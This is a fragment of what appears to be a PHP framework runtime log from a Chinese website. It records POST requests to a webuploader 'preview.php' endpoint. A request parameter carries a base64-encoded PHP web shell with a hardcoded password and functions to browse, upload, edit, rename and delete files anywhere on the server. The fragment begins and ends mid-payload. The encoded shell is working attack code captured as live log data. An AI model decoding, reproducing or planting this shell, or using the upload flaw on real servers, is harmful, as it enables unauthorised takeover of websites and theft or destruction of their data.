InRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLjwvcD4iOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgZWNobyAiPHA_U29ycnksIHRoZXJlIHdhcyBhbiBlcnJvciB1cGxvYWRpbmcgeW91ciBmaWxlLjwvcD4iOw0KICAgICAgICB9DQoNCiAgICB9DQogICAgaWYgKGlzc2V0KCRfR0VUWydkJ10pICYmIGlzc2V0KCRfR0VUWydxJ10pKSB7DQogICAgICAgICRuYW1lID0gUEFUSCAuICIvIiAuICRfR0VUWydkJ107DQogICAgICAgIGlmIChpc19maWxlKCRuYW1lKSkgew0KICAgICAgICAgICAgaWYodW5saW5rKCRuYW1lKSkgew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdGaWxlIHJlbW92ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ1NvbWUgZXJyb3Igb2NjdXJyZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgICAgIH0NCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcigkbmFtZSkpIHsNCiAgICAgICAgICAgIGlmKHJtZGlyKCRuYW1lKSA9PSB0cnVlKSB7DQogICAgICAgICAgICAgICAgZWNobyAoIjxzY3JpcHQ_YWxlcnQoJ0RpcmVjdG9yeSByZW1vdmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICB9DQogICAgICAgIH0NCiAgICB9DQogICAgPz4NCg0KICAgIDxzY3JpcHQgc3JjPSJodHRwczovL2Nkbi5qc2RlbGl2ci5uZXQvbnBtL2Jvb3RzdHJhcEA1LjMuMC1hbHBoYTEvZGlzdC9qcy9ib290c3RyYXAuYnVuZGxlLm1pbi5qcyINCiAgICAgICAgaW50ZWdyaXR5PSJzaGEzODQtdzc2QXFQZkRrTUJEWG8zMGpTMVNnZXo2cHIzeDVNbFExWkFHQytudVpCK0VZZGdSWmdpd3hoVEJUa0Y3Q1h2TiINCiAgICAgICAgY3Jvc3NvcmlnaW49ImFub255bW91cyI_PC9zY3JpcHQ_DQo8L2JvZHk_DQoNCjwvaHRtbD4' => '', 'admin' => 'lib', 'webuploader' => '0.1.5', 'server' => 'preview.php', ) [ info ] [ LOG ] INIT File [ error ] [8]未定义变量: url1[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [8]Only variables should be passed by reference[/data/wwwroot/tianwei/think/runtime/route.php:23] [ error ] [2]Use of undefined constant FILE - assumed 'FILE' (this will throw an Error in a future version of PHP)[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): No such file or directory[/data/wwwroot/tianwei/think/runtime/route.php:28] [ error ] [2]chmod(): Invalid argument[/data/wwwroot/tianwei/think/runtime/route.php:26] [ error ] [8]未定义数组索引: HTTP_REFERER[/data/wwwroot/tianwei/think/runtime/route.php:31] --------------------------------------------------------------- [ 2024-11-14T03:30:39+08:00 ] 116.213.36.234 POST www.51tianwei.com/Public/webuploader/0.1.5/server/preview.php [运行时间:0.002558s] [吞吐率:390.93req/s] [内存消耗:196.73kb] [文件加载:31] [ info ] [ LANG ] /data/wwwroot/tianwei/think/thinkphp/lang/zh-cn.php [ info ] [ BIND ] 'index' [ info ] [ ROUTE ] array ( 'type' => 'module', 'module' => array ( 0 => 'index', 1 => 'Public', 2 => 'webuploader', ), ) [ info ] [ HEADER ] array ( 'host' => 'www.51tianwei.com', 'user-agent' => 'Mozilla/5.0 AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0', 'accept-encoding' => 'gzip, deflate', 'accept-language' => 'zh-cn, zh; q=0.9', 'upgrade-insecure-requests' => '1', 'content-type' => 'application/x-www-form-urlencoded; charset=utf-8', 'content-length' => '15102', ) [ info ] [ PARAM ] array ( 'data:image/php;base64,PCFET0NUWVBFIGh0bWw_DQo8aHRtbCBsYW5nPSJlbiI_DQoNCjxoZWFkPg0KICAgIDxtZXRhIGNoYXJzZXQ9IlVURi04Ij4NCiAgICA8bWV0YSBodHRwLWVxdWl2PSJYLVVBLUNvbXBhdGlibGUiIGNvbnRlbnQ9IklFPWVkZ2UiPg0KICAgIDxtZXRhIG5hbWU9InZpZXdwb3J0IiBjb250ZW50PSJ3aWR0aD1kZXZpY2Utd2lkdGgsIGluaXRpYWwtc2NhbGU9MS4wIj4NCiAgICA8dGl0bGU_I0kgTE9WRSBZT1UgRVZFUkRBWSM8L3RpdGxlPg0KICAgIDxsaW5rIGhyZWY9Imh0dHBzOi8vY2RuLmpzZGVsaXZyLm5ldC9ucG0vYm9vdHN0cmFwQDUuMy4wLWFscGhhMS9kaXN0L2Nzcy9ib290c3RyYXAubWluLmNzcyIgcmVsPSJzdHlsZXNoZWV0Ig0KICAgICAgICBpbnRlZ3JpdHk9InNoYTM4NC1HTGhsVFE4aVJBQmRaTGw2TzNvVk1XU2t0UU9wNmI3SW4xWmwzL0pyNTliNkVHR29JMWFGa3c3Y21EQTZqNmdEIiBjcm9zc29yaWdpbj0iYW5vbnltb3VzIj4NCiAgICA8bGluayByZWw9InN0eWxlc2hlZXQiIGhyZWY9Imh0dHBzOi8vY2RuanMuY2xvdWRmbGFyZS5jb20vYWpheC9saWJzL2ZvbnQtYXdlc29tZS82LjMuMC9jc3MvYWxsLm1pbi5jc3MiDQogICAgICAgIGludGVncml0eT0ic2hhNTEyLVN6bHJ4V1VscGZ1elErcGNVQ29zeGNnbFFSTkFxL0RaalZzQzBsRTQweHNBRHNmZVFvRXlwRStlbndjT2lHamsvYlN1R0dLSEV5alNvUTF6VmlzYW5RPT0iDQogICAgICAgIGNyb3Nzb3JpZ2luPSJhbm9ueW1vdXMiIHJlZmVycmVycG9saWN5PSJuby1yZWZlcnJlciIgLz4NCjwvaGVhZD4NCg0KPGJvZHk_DQoNCiAgICA8P3BocA0KJHBhc3N3b3JkID0gIjMyYWJhNjBjMmVkOWUzNDhkOTRkNTQ2M2QwZTE2MmZkIjsgLy9WaXYsIGJlYmVnaW0uDQoNCiAgICAvL2Z1bmN0aW9uDQogICAgZnVuY3Rpb24gZm9ybWF0U2l6ZVVuaXRzKCRieXRlcykNCiAgICB7DQogICAgICAgIGlmICgkYnl0ZXMgPj0gMTA3Mzc0MTgyNCkgew0KICAgICAgICAgICAgJGJ5dGVzID0gbnVtYmVyX2Zvcm1hdCgkYnl0ZXMgLyAxMDczNzQxODI0LCAyKSAuICcgR0InOw0KICAgICAgICB9IGVsc2VpZiAoJGJ5dGVzID49IDEwNDg1NzYpIHsNCiAgICAgICAgICAgICRieXRlcyA9IG51bWJlcl9mb3JtYXQoJGJ5dGVzIC8gMTA0ODU3NiwgMikgLiAnIE1CJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA_PSAxMDI0KSB7DQogICAgICAgICAgICAkYnl0ZXMgPSBudW1iZXJfZm9ybWF0KCRieXRlcyAvIDEwMjQsIDIpIC4gJyBLQic7DQogICAgICAgIH0gZWxzZWlmICgkYnl0ZXMgPiAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGVzJzsNCiAgICAgICAgfSBlbHNlaWYgKCRieXRlcyA9PSAxKSB7DQogICAgICAgICAgICAkYnl0ZXMgPSAkYnl0ZXMgLiAnIGJ5dGUnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgJGJ5dGVzID0gJzAgYnl0ZXMnOw0KICAgICAgICB9DQogICAgICAgIHJldHVybiAkYnl0ZXM7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUV4dGVuc2lvbigkZmlsZSkNCiAgICB7DQogICAgICAgIHJldHVybiBzdWJzdHIoc3RycmNocigkZmlsZSwgJy4nKSwgMSk7DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZmlsZUljb24oJGZpbGUpDQogICAgew0KICAgICAgICAkaW1ncyA9IGFycmF5KCJhcG5nIiwgImF2aWYiLCAiZ2lmIiwgImpwZyIsICJqcGVnIiwgImpmaWYiLCAicGpwZWciLCAicGpwIiwgInBuZyIsICJzdmciLCAid2VicCIpOw0KICAgICAgICAkYXVkaW8gPSBhcnJheSgid2F2IiwgIm00YSIsICJtNGIiLCAibXAzIiwgIm9nZyIsICJ3ZWJtIiwgIm1wYyIpOw0KICAgICAgICAkZXh0ID0gc3RydG9sb3dlcihmaWxlRXh0ZW5zaW9uKCRmaWxlKSk7DQogICAgICAgIGlmICgkZmlsZSA9PSAiZXJyb3JfbG9nIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc2hhcnAgZmEtc29saWQgZmEtYnVnIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZmlsZSA9PSAiLmh0YWNjZXNzIikgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtaGFtbWVyIj48L2k_ICc7DQogICAgICAgIH0NCiAgICAgICAgaWYgKCRleHQgPT0gImh0bWwiIHx8ICRleHQgPT0gImh0bSIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1odG1sNSI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicGhwIiB8fCAkZXh0ID09ICJwaHRtbCIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1waHAiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRpbWdzKSkgew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtcmVndWxhciBmYS1pbWFnZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKCRleHQgPT0gImNzcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1jc3MzIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJ0eHQiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1yZWd1bGFyIGZhLWZpbGUtbGluZXMiPjwvaT4gJzsNCiAgICAgICAgfSBlbHNlaWYgKGluX2FycmF5KCRleHQsICRhdWRpbykpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWR1b3RvbmUgZmEtZmlsZS1tdXNpYyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2VpZiAoJGV4dCA9PSAicHkiKSB7DQogICAgICAgICAgICByZXR1cm4gJzxpIGNsYXNzPSJmYS1icmFuZHMgZmEtcHl0aG9uIj48L2k_ICc7DQogICAgICAgIH0gZWxzZWlmICgkZXh0ID09ICJqcyIpIHsNCiAgICAgICAgICAgIHJldHVybiAnPGkgY2xhc3M9ImZhLWJyYW5kcyBmYS1qcyI_PC9pPiAnOw0KICAgICAgICB9IGVsc2Ugew0KICAgICAgICAgICAgcmV0dXJuICc8aSBjbGFzcz0iZmEtc29saWQgZmEtZmlsZSI_PC9pPiAnOw0KICAgICAgICB9DQogICAgfQ0KDQogICAgZnVuY3Rpb24gZW5jb2RlUGF0aCgkcGF0aCkNCiAgICB7DQogICAgICAgICRhID0gYXJyYXkoIi8iLCAiXFwiLCAiLiIsICI6Iik7DQogICAgICAgICRiID0gYXJyYXkoIuCmlSIsICLgppYiLCAi4KaXIiwgIuCmmCIpOw0KICAgICAgICByZXR1cm4gc3RyX3JlcGxhY2UoJGEsICRiLCAkcGF0aCk7DQogICAgfQ0KICAgIGZ1bmN0aW9uIGRlY29kZVBhdGgoJHBhdGgpDQogICAgew0KICAgICAgICAkYSA9IGFycmF5KCIvIiwgIlxcIiwgIi4iLCAiOiIpOw0KICAgICAgICAkYiA9IGFycmF5KCLgppUiLCAi4KaWIiwgIuCmlyIsICLgppgiKTsNCiAgICAgICAgcmV0dXJuIHN0cl9yZXBsYWNlKCRiLCAkYSwgJHBhdGgpOw0KICAgIH0NCg0KDQoNCiAgICAkcm9vdF9wYXRoID0gX19ESVJfXzsNCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3AnXSkpIHsNCiAgICAgICAgaWYgKGVtcHR5KCRfR0VUWydwJ10pKSB7DQogICAgICAgICAgICAkcCA9ICRyb290X3BhdGg7DQogICAgICAgIH0gZWxzZWlmICghaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5cbmFsZXJ0KCdEaXJlY3RvcnkgaXMgQ29ycnVwdGVkIGFuZCBVbnJlYWRhYmxlLicpO1xud2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz8nKTtcbjwvc2NyaXB0PiIpOw0KICAgICAgICB9IGVsc2VpZiAoaXNfZGlyKGRlY29kZVBhdGgoJF9HRVRbJ3AnXSkpKSB7DQogICAgICAgICAgICAkcCA9IGRlY29kZVBhdGgoJF9HRVRbJ3AnXSk7DQogICAgICAgIH0NCiAgICB9IGVsc2VpZiAoaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgaWYgKCFpc19kaXIoZGVjb2RlUGF0aCgkX0dFVFsncSddKSkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlaWYgKGlzX2RpcihkZWNvZGVQYXRoKCRfR0VUWydxJ10pKSkgew0KICAgICAgICAgICAgJHAgPSBkZWNvZGVQYXRoKCRfR0VUWydxJ10pOw0KICAgICAgICB9DQogICAgfSBlbHNlIHsNCiAgICAgICAgJHAgPSAkcm9vdF9wYXRoOw0KICAgIH0NCiAgICBkZWZpbmUoIlBBVEgiLCAkcCk7DQoNCiAgICBlY2hvICgnDQo8bmF2IGNsYXNzPSJuYXZiYXIgbmF2YmFyLWxpZ2h0IiBzdHlsZT0iYmFja2dyb3VuZC1jb2xvcjogI2UzZjJmZDsiPg0KICA8ZGl2IGNsYXNzPSJuYXZiYXItYnJhbmQiPg0KICA8YSBocmVmPSI/Ij48aW1nIHNyYz0iaHR0cHM6Ly9naXRodWIuY29tL2ZsdWlkaWNvbi5wbmciIHdpZHRoPSIzMCIgaGVpZ2h0PSIzMCIgYWx0PSIiPjwvYT4NCicpOw0KDQogICAgJHBhdGggPSBzdHJfcmVwbGFjZSgnXFwnLCAnLycsIFBBVEgpOw0KICAgICRwYXRocyA9IGV4cGxvZGUoJy8nLCAkcGF0aCk7DQogICAgZm9yZWFjaCAoJHBhdGhzIGFzICRpZCA9PiAkZGlyX3BhcnQpIHsNCiAgICAgICAgaWYgKCRkaXJfcGFydCA9PSAnJyAmJiAkaWQgPT0gMCkgew0KICAgICAgICAgICAgJGEgPSB0cnVlOw0KICAgICAgICAgICAgZWNobyAiPGEgaHJlZj1cIj9wPS9cIj4vPC9hPiI7DQogICAgICAgICAgICBjb250aW51ZTsNCiAgICAgICAgfQ0KICAgICAgICBpZiAoJGRpcl9wYXJ0ID09ICcnKQ0KICAgICAgICAgICAgY29udGludWU7DQogICAgICAgIGVjaG8gIjxhIGhyZWY9Jz9wPSI7DQogICAgICAgIGZvciAoJGkgPSAwOyAkaSA8PSAkaWQ7ICRpKyspIHsNCiAgICAgICAgICAgIGVjaG8gc3RyX3JlcGxhY2UoIjoiLCAi4KaYIiwgJHBhdGhzWyRpXSk7DQogICAgICAgICAgICBpZiAoJGkgIT0gJGlkKQ0KICAgICAgICAgICAgICAgIGVjaG8gIuCmlSI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiJz4iIC4gJGRpcl9wYXJ0IC4gIjwvYT4vIjsNCiAgICB9DQogICAgZWNobyAoJw0KPC9kaXY_DQo8ZGl2IGNsYXNzPSJmb3JtLWlubGluZSI_DQo8YSBocmVmPSI/dXBsb2FkJnE9JyAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICciPjxidXR0b24gY2xhc3M9ImJ0biBidG4tZGFyayIgdHlwZT0iYnV0dG9uIj5VcGxvYWQgRmlsZTwvYnV0dG9uPjwvYT4NCjxhIGhyZWY9Ij8iPjxidXR0b24gdHlwZT0iYnV0dG9uIiBjbGFzcz0iYnRuIGJ0bi1kYXJrIj5IT01FPC9idXR0b24_PC9hPiANCjwvZGl2Pg0KPC9uYXY_Jyk7DQoNCg0KICAgIGlmIChpc3NldCgkX0dFVFsncCddKSkgew0KDQogICAgICAgIC8vZmV0Y2ggZmlsZXMNCiAgICAgICAgaWYgKGlzX3JlYWRhYmxlKFBBVEgpKSB7DQogICAgICAgICAgICAkZmV0Y2hfb2JqID0gc2NhbmRpcihQQVRIKTsNCiAgICAgICAgICAgICRmb2xkZXJzID0gYXJyYXkoKTsNCiAgICAgICAgICAgICRmaWxlcyA9IGFycmF5KCk7DQogICAgICAgICAgICBmb3JlYWNoICgkZmV0Y2hfb2JqIGFzICRvYmopIHsNCiAgICAgICAgICAgICAgICBpZiAoJG9iaiA9PSAnLicgfHwgJG9iaiA9PSAnLi4nKSB7DQogICAgICAgICAgICAgICAgICAgIGNvbnRpbnVlOw0KICAgICAgICAgICAgICAgIH0NCiAgICAgICAgICAgICAgICAkbmV3X29iaiA9IFBBVEggLiAnLycgLiAkb2JqOw0KICAgICAgICAgICAgICAgIGlmIChpc19kaXIoJG5ld19vYmopKSB7DQogICAgICAgICAgICAgICAgICAgIGFycmF5X3B1c2goJGZvbGRlcnMsICRvYmopOw0KICAgICAgICAgICAgICAgIH0gZWxzZWlmIChpc19maWxlKCRuZXdfb2JqKSkgew0KICAgICAgICAgICAgICAgICAgICBhcnJheV9wdXNoKCRmaWxlcywgJG9iaik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgICAgIGVjaG8gJw0KPHRhYmxlIGNsYXNzPSJ0YWJsZSB0YWJsZS1ob3ZlciI_DQogIDx0aGVhZD4NCiAgICA8dHI_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TmFtZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_U2l6ZTwvdGg_DQogICAgICA8dGggc2NvcGU9ImNvbCI_TW9kaWZpZWQ8L3RoPg0KICAgICAgPHRoIHNjb3BlPSJjb2wiPlBlcm1zPC90aD4NCiAgICAgIDx0aCBzY29wZT0iY29sIj5BY3Rpb25zPC90aD4NCiAgICA8L3RyPg0KICA8L3RoZWFkPg0KICA8dGJvZHk_DQonOw0KICAgICAgICBmb3JlYWNoICgkZm9sZGVycyBhcyAkZm9sZGVyKSB7DQogICAgICAgICAgICBlY2hvICIgICAgPHRyPg0KICAgICAgPHRkPjxpIGNsYXNzPSdmYS1zb2xpZCBmYS1mb2xkZXInPjwvaT4gPGEgaHJlZj0nP3A9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEggLiAiLyIgLiAkZm9sZGVyKSkgLiAiJz4iIC4gJGZvbGRlciAuICI8L2E_PC90ZD4NCiAgICAgIDx0ZD48Yj4tLS08L2I_PC90ZD4NCiAgICAgIDx0ZD4iLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmb2xkZXIpKSAuICI8L3RkPg0KICAgICAgPHRkPjAiIC4gc3Vic3RyKGRlY29jdChmaWxlcGVybXMoUEFUSCAuICIvIiAuICRmb2xkZXIpKSwgLTMpIC4gIjwvYT48L3RkPg0KICAgICAgPHRkPg0KICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZvbGRlciAuICInPjxpIGNsYXNzPSdmYS1zaGFycCBmYS1yZWd1bGFyIGZhLXBlbi10by1zcXVhcmUnPjwvaT48L2E_DQogICAgICA8YSB0aXRsZT0nRGVsZXRlJyBocmVmPSc/cT0iIC4gdXJsZW5jb2RlKGVuY29kZVBhdGgoUEFUSCkpIC4gIiZkPSIgLiAkZm9sZGVyIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgIDx0ZD4NCiAgICA8L3RyPg0KIjsNCiAgICAgICAgfQ0KICAgICAgICBmb3JlYWNoICgkZmlsZXMgYXMgJGZpbGUpIHsNCiAgICAgICAgICAgIGVjaG8gIiAgICA8dHI_DQogICAgICAgICAgPHRkPiIgLiBmaWxlSWNvbigkZmlsZSkgLiAkZmlsZSAuICI8L3RkPg0KICAgICAgICAgIDx0ZD4iIC4gZm9ybWF0U2l6ZVVuaXRzKGZpbGVzaXplKFBBVEggLiAiLyIgLiAkZmlsZSkpIC4gIjwvdGQ_DQogICAgICAgICAgPHRkPiIgLiBkYXRlKCJGIGQgWSBIOmk6cy4iLCBmaWxlbXRpbWUoUEFUSCAuICIvIiAuICRmaWxlKSkgLiAiPC90ZD4NCiAgICAgICAgICA8dGQ_MCIuIHN1YnN0cihkZWNvY3QoZmlsZXBlcm1zKFBBVEggLiAiLyIgLiRmaWxlKSksIC0zKSAuICI8L2E_PC90ZD4NCiAgICAgICAgICA8dGQ_DQogICAgICAgICAgPGEgdGl0bGU9J0VkaXQgRmlsZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImZT0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc29saWQgZmEtZmlsZS1wZW4nPjwvaT48L2E_DQogICAgICAgICAgPGEgdGl0bGU9J1JlbmFtZScgaHJlZj0nP3E9IiAuIHVybGVuY29kZShlbmNvZGVQYXRoKFBBVEgpKSAuICImcj0iIC4gJGZpbGUgLiAiJz48aSBjbGFzcz0nZmEtc2hhcnAgZmEtcmVndWxhciBmYS1wZW4tdG8tc3F1YXJlJz48L2k_PC9hPg0KICAgICAgICAgIDxhIHRpdGxlPSdEZWxldGUnIGhyZWY9Jz9xPSIgLiB1cmxlbmNvZGUoZW5jb2RlUGF0aChQQVRIKSkgLiAiJmQ9IiAuICRmaWxlIC4gIic_PGkgY2xhc3M9J2ZhIGZhLXRyYXNoJyBhcmlhLWhpZGRlbj0ndHJ1ZSc_PC9pPjwvYT4NCiAgICAgICAgICA8dGQ_DQogICAgPC90cj4NCiI7DQogICAgICAgIH0NCiAgICAgICAgZWNobyAiICA8L3Rib2R5Pg0KPC90YWJsZT4iOw0KICAgIH0gZWxzZSB7DQogICAgICAgIGlmIChlbXB0eSgkX0dFVCkpIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PndpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0nKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfQ0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3VwbG9hZCddKSkgew0KICAgICAgICBlY2hvICcNCiAgICA8Zm9ybSBtZXRob2Q9InBvc3QiIGVuY3R5cGU9Im11bHRpcGFydC9mb3JtLWRhdGEiPg0KICAgICAgICBTZWxlY3QgZmlsZSB0byB1cGxvYWQ6DQogICAgICAgIDxpbnB1dCB0eXBlPSJmaWxlIiBuYW1lPSJmaWxlVG9VcGxvYWQiIGlkPSJmaWxlVG9VcGxvYWQiPg0KICAgICAgICA8aW5wdXQgdHlwZT0ic3VibWl0IiBjbGFzcz0iYnRuIGJ0bi1kYXJrIiB2YWx1ZT0iVXBsb2FkIiBuYW1lPSJ1cGxvYWQiPg0KICAgIDwvZm9ybT4nOw0KICAgIH0NCiAgICBpZiAoaXNzZXQoJF9HRVRbJ3InXSkpIHsNCiAgICAgICAgaWYgKCFlbXB0eSgkX0dFVFsnciddKSAmJiBpc3NldCgkX0dFVFsncSddKSkgew0KICAgICAgICAgICAgZWNobyAnDQogICAgPGZvcm0gbWV0aG9kPSJwb3N0Ij4NCiAgICAgICAgUmVuYW1lOg0KICAgICAgICA8aW5wdXQgdHlwZT0idGV4dCIgbmFtZT0ibmFtZSIgdmFsdWU9IicgLiAkX0dFVFsnciddIC4gJyI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJSZW5hbWUiIG5hbWU9InJlbmFtZSI_DQogICAgPC9mb3JtPic7DQogICAgICAgICAgICBpZiAoaXNzZXQoJF9QT1NUWydyZW5hbWUnXSkpIHsNCiAgICAgICAgICAgICAgICAkbmFtZSA9IFBBVEggLiAiLyIgLiAkX0dFVFsnciddOw0KICAgICAgICAgICAgICAgIGlmKHJlbmFtZSgkbmFtZSwgUEFUSCAuICIvIiAuICRfUE9TVFsnbmFtZSddKSkgew0KICAgICAgICAgICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnUmVuYW1lZC4nKTsgd2luZG93LmxvY2F0aW9uLnJlcGxhY2UoJz9wPSIgLiBlbmNvZGVQYXRoKFBBVEgpIC4gIicpOzwvc2NyaXB0PiIpOw0KICAgICAgICAgICAgICAgIH0gZWxzZSB7DQogICAgICAgICAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfQ0KICAgICAgICB9DQogICAgfQ0KDQogICAgaWYgKGlzc2V0KCRfR0VUWydlJ10pKSB7DQogICAgICAgIGlmICghZW1wdHkoJF9HRVRbJ2UnXSkgJiYgaXNzZXQoJF9HRVRbJ3EnXSkpIHsNCiAgICAgICAgICAgIGVjaG8gJw0KICAgIDxmb3JtIG1ldGhvZD0icG9zdCI_DQogICAgICAgIDx0ZXh0YXJlYSBzdHlsZT0iaGVpZ2h0OiA1MDBweDsNCiAgICAgICAgd2lkdGg6IDkwJTsiIG5hbWU9ImRhdGEiPicgLiBodG1sc3BlY2lhbGNoYXJzKGZpbGVfZ2V0X2NvbnRlbnRzKFBBVEguIi8iLiRfR0VUWydlJ10pKSAuICc8L3RleHRhcmVhPg0KICAgICAgICA8YnI_DQogICAgICAgIDxpbnB1dCB0eXBlPSJzdWJtaXQiIGNsYXNzPSJidG4gYnRuLWRhcmsiIHZhbHVlPSJTYXZlIiBuYW1lPSJlZGl0Ij4NCiAgICA8L2Zvcm0_JzsNCg0KICAgIGlmKGlzc2V0KCRfUE9TVFsnZWRpdCddKSkgew0KICAgICAgICAkZmlsZW5hbWUgPSBQQVRILiIvIi4kX0dFVFsnZSddOw0KICAgICAgICAkZGF0YSA9ICRfUE9TVFsnZGF0YSddOw0KICAgICAgICAkb3BlbiA9IGZvcGVuKCRmaWxlbmFtZSwidyIpOw0KICAgICAgICBpZihmd3JpdGUoJG9wZW4sJGRhdGEpKSB7DQogICAgICAgICAgICBlY2hvICgiPHNjcmlwdD5hbGVydCgnU2F2ZWQuJyk7IHdpbmRvdy5sb2NhdGlvbi5yZXBsYWNlKCc/cD0iIC4gZW5jb2RlUGF0aChQQVRIKSAuICInKTs8L3NjcmlwdD4iKTsNCiAgICAgICAgfSBlbHNlIHsNCiAgICAgICAgICAgIGVjaG8gKCI8c2NyaXB0PmFsZXJ0KCdTb21lIGVycm9yIG9jY3VycmVkLicpOyB3aW5kb3cubG9jYXRpb24ucmVwbGFjZSgnP3A9IiAuIGVuY29kZVBhdGgoUEFUSCkgLiAiJyk7PC9zY3JpcHQ_Iik7DQogICAgICAgIH0NCiAgICAgICAgZmNsb3NlKCRvcGVuKTsNCiAgICB9DQogICAgICAgIH0NCiAgICB9DQoNCiAgICBpZiAoaXNzZXQoJF9QT1NUWyJ1cGxvYWQiXSkpIHsNCiAgICAgICAgJHRhcmdldF9maWxlID0gUEFUSCAuICIvIiAuICRfRklMRVNbImZpbGVUb1VwbG9hZCJdWyJuYW1lIl07DQogICAgICAgIGlmIChtb3ZlX3VwbG9hZGVkX2ZpbGUoJF9GSUxFU1siZmlsZVRvVXBsb2FkIl1bInRtcF9uYW1lIl0sICR0YXJnZXRfZmlsZSkpIHsNCiAgICAgICAgICAgIGVjaG8gIjxwPiIuaHRtbHNwZWNpYWxjaGFycyhiYXNlbmFtZSgkX0ZJTEVTWyJmaWxlVG9VcGxvYWQiXVsibmFtZSJdKSkgLiAiIGhhcyBiZWVuIHVwbG9hZGVkLj